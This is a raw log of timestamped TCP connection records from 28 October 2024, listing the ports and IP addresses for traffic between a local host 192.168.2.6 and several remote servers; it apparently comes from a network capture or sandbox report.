Oct 28, 2024 02:07:16.850483894 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.850508928 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.850522995 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.850538015 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.850578070 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.876779079 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.876817942 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.876852036 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.876873016 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.876878977 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.876910925 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.876943111 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.876945972 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.876982927 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.876987934 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.877006054 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.877062082 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.878129005 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.878160954 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.878201962 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.878213882 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.878225088 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.878268003 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.878268957 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.878304005 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.878319979 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.878359079 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.878361940 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.878393888 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.878410101 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.878427029 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.878473043 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.878473043 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.878479004 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.878515959 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.878530979 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.878551006 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.878561974 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.878599882 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.878602028 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.878658056 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.878676891 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.878691912 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.878711939 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.878725052 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.878741026 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.878773928 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.878777027 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.878813028 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.878835917 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.878848076 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.878865004 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.878884077 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.878896952 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.878937960 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.879072905 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.879120111 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.879143000 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.879175901 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.879189968 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.879213095 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.879216909 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.879250050 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.879259109 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.879292011 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.879293919 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.879331112 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.879380941 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.879430056 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.879434109 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.879473925 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.879482031 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.879518032 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.879528046 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.879554987 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.879561901 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.879597902 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.879656076 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.879689932 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.879709005 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.879733086 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.879745007 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.879793882 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.879796028 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.879832983 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.879867077 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.879892111 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.879977942 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.880014896 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.880033016 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.880063057 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:17.233861923 CET	49727	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:17.233975887 CET	443	49727	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:17.234102011 CET	49727	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:17.234704018 CET	49727	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:17.234736919 CET	443	49727	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:17.252938032 CET	443	49722	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.253552914 CET	49722	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.253621101 CET	443	49722	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.254003048 CET	49722	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.254010916 CET	443	49722	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.266707897 CET	443	49723	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.267224073 CET	49723	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.267246962 CET	443	49723	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.267776966 CET	49723	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.267784119 CET	443	49723	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.281769037 CET	443	49726	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.282898903 CET	49726	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.282993078 CET	443	49726	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.283335924 CET	49726	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.283351898 CET	443	49726	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.285942078 CET	443	49725	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.286319971 CET	49725	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.286334038 CET	443	49725	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.286632061 CET	49725	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.286644936 CET	443	49725	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.309979916 CET	443	49724	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.318396091 CET	49724	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.318461895 CET	443	49724	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.318850994 CET	49724	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.318865061 CET	443	49724	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.382119894 CET	443	49722	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.382369995 CET	443	49722	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.382437944 CET	49722	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.382625103 CET	49722	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.382656097 CET	443	49722	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.382672071 CET	49722	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.382682085 CET	443	49722	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.384893894 CET	49728	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.384927034 CET	443	49728	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.385094881 CET	49728	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.385260105 CET	49728	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.385291100 CET	443	49728	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.395488024 CET	443	49723	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.395857096 CET	443	49723	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.395926952 CET	49723	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.395967960 CET	49723	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.395967960 CET	49723	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.395986080 CET	443	49723	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.395998001 CET	443	49723	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.398727894 CET	49729	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.398807049 CET	443	49729	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.398902893 CET	49729	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.399101973 CET	49729	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.399136066 CET	443	49729	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.412549019 CET	443	49726	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.412626028 CET	443	49726	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.412688017 CET	49726	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.412807941 CET	49726	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.412837982 CET	443	49726	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.412866116 CET	49726	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.412878990 CET	443	49726	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.416611910 CET	49730	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.416630030 CET	443	49730	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.416692019 CET	49730	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.417349100 CET	49730	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.417361021 CET	443	49730	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.421658993 CET	443	49725	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.421822071 CET	443	49725	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.421905041 CET	49725	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.421926975 CET	49725	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.421933889 CET	443	49725	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.421947956 CET	49725	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.421952009 CET	443	49725	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.424392939 CET	49731	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.424422026 CET	443	49731	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.424513102 CET	49731	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.424650908 CET	49731	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.424666882 CET	443	49731	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.450809002 CET	443	49724	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.450892925 CET	443	49724	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.450963974 CET	49724	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.451154947 CET	49724	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.451154947 CET	49724	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.451205969 CET	443	49724	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.451235056 CET	443	49724	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.454778910 CET	49732	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.454814911 CET	443	49732	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:17.454925060 CET	49732	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.455338001 CET	49732	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:17.455354929 CET	443	49732	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.129885912 CET	443	49728	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.161698103 CET	443	49729	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.175471067 CET	443	49730	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.179263115 CET	443	49731	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.181512117 CET	49728	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.210390091 CET	49729	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.218724012 CET	443	49732	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.226000071 CET	49730	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.226010084 CET	49731	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.272919893 CET	49732	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.358575106 CET	443	49727	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:18.358702898 CET	49727	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:18.361366987 CET	49727	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:18.361396074 CET	443	49727	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:18.362297058 CET	443	49727	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:18.413520098 CET	49727	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:18.689954996 CET	49732	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.689980030 CET	443	49732	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.690998077 CET	49732	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.691004992 CET	443	49732	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.693308115 CET	49731	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.693398952 CET	443	49731	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.704549074 CET	49731	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.704567909 CET	443	49731	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.704998970 CET	49728	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.705017090 CET	443	49728	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.705709934 CET	49728	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.705715895 CET	443	49728	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.706032991 CET	49729	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.706064939 CET	443	49729	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.706621885 CET	49729	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.706634998 CET	443	49729	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.707041979 CET	49730	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.707052946 CET	443	49730	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.707542896 CET	49730	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.707554102 CET	443	49730	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.733850002 CET	49727	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:18.733906984 CET	49727	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:18.733947992 CET	443	49727	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:18.734376907 CET	49727	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:18.775363922 CET	443	49727	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:18.821480036 CET	443	49732	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.821871996 CET	443	49732	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.821973085 CET	49732	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.831132889 CET	443	49728	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.831644058 CET	443	49728	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.831700087 CET	49728	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.833683968 CET	443	49731	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.833750010 CET	443	49731	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.833970070 CET	49731	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.836098909 CET	443	49729	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.836180925 CET	443	49729	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.836258888 CET	443	49730	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.836337090 CET	49729	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.836502075 CET	443	49730	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.836795092 CET	49730	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.965085983 CET	49732	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.965115070 CET	443	49732	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.965436935 CET	49729	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.965511084 CET	443	49729	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.965550900 CET	49729	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.965570927 CET	443	49729	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.966346979 CET	49730	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.966346979 CET	49730	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.966363907 CET	443	49730	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.966373920 CET	443	49730	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.967027903 CET	49728	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.967027903 CET	49728	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.967034101 CET	443	49728	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.967041016 CET	443	49728	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.967685938 CET	49731	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.967685938 CET	49731	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:18.967705965 CET	443	49731	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.967726946 CET	443	49731	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:18.983509064 CET	443	49727	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:18.984142065 CET	49727	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:18.984180927 CET	443	49727	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:18.984206915 CET	49727	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:18.984232903 CET	49727	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:19.204114914 CET	49736	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:19.204159021 CET	443	49736	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:19.204232931 CET	49736	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:19.222404003 CET	49736	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:19.222414017 CET	443	49736	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:19.251523972 CET	49737	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:19.251607895 CET	443	49737	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:19.251669884 CET	49737	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:19.266026974 CET	49738	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:19.266118050 CET	443	49738	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:19.266201019 CET	49738	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:19.266561031 CET	49738	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:19.266597986 CET	443	49738	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:19.274729967 CET	49737	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:19.274763107 CET	443	49737	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:19.279975891 CET	49739	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:19.280024052 CET	443	49739	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:19.280098915 CET	49739	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:19.280265093 CET	49739	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:19.280292988 CET	443	49739	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:19.281390905 CET	49740	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:19.281428099 CET	443	49740	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:19.281485081 CET	49740	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:19.281677008 CET	49740	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:19.281693935 CET	443	49740	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:19.281769991 CET	49741	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:19.281812906 CET	443	49741	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:19.281872034 CET	49741	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:19.282035112 CET	49741	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:19.282067060 CET	443	49741	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:19.820837975 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:19.820903063 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:19.820981026 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:19.821193933 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:19.821212053 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:19.884807110 CET	49745	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:19.884854078 CET	443	49745	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:19.884933949 CET	49745	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:19.885133028 CET	49745	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:19.885158062 CET	443	49745	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:19.951132059 CET	443	49736	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:19.951714039 CET	49736	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:19.951736927 CET	443	49736	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:19.952152967 CET	49736	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:19.952158928 CET	443	49736	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.008940935 CET	443	49740	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.009536982 CET	49740	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.009593964 CET	443	49740	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.010006905 CET	49740	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.010015011 CET	443	49740	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.011964083 CET	443	49739	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.013612032 CET	49739	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.013612032 CET	49739	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.013696909 CET	443	49739	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.013746023 CET	443	49739	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.024163008 CET	443	49741	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.024554014 CET	49741	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.024591923 CET	443	49741	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.026462078 CET	49741	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.026469946 CET	443	49741	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.041246891 CET	443	49737	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.042426109 CET	49737	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.042476892 CET	443	49737	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.049719095 CET	49737	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.049741983 CET	443	49737	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.071819067 CET	49746	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.071871042 CET	443	49746	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.072058916 CET	49746	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.072314978 CET	49746	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.072331905 CET	443	49746	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.073240995 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:20.073678970 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:20.080610991 CET	443	49736	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.080697060 CET	443	49736	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.080785990 CET	49736	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.080956936 CET	49736	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.080956936 CET	49736	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.080972910 CET	443	49736	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.080984116 CET	443	49736	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.083614111 CET	49747	443	192.168.2.6	13.107.246.60
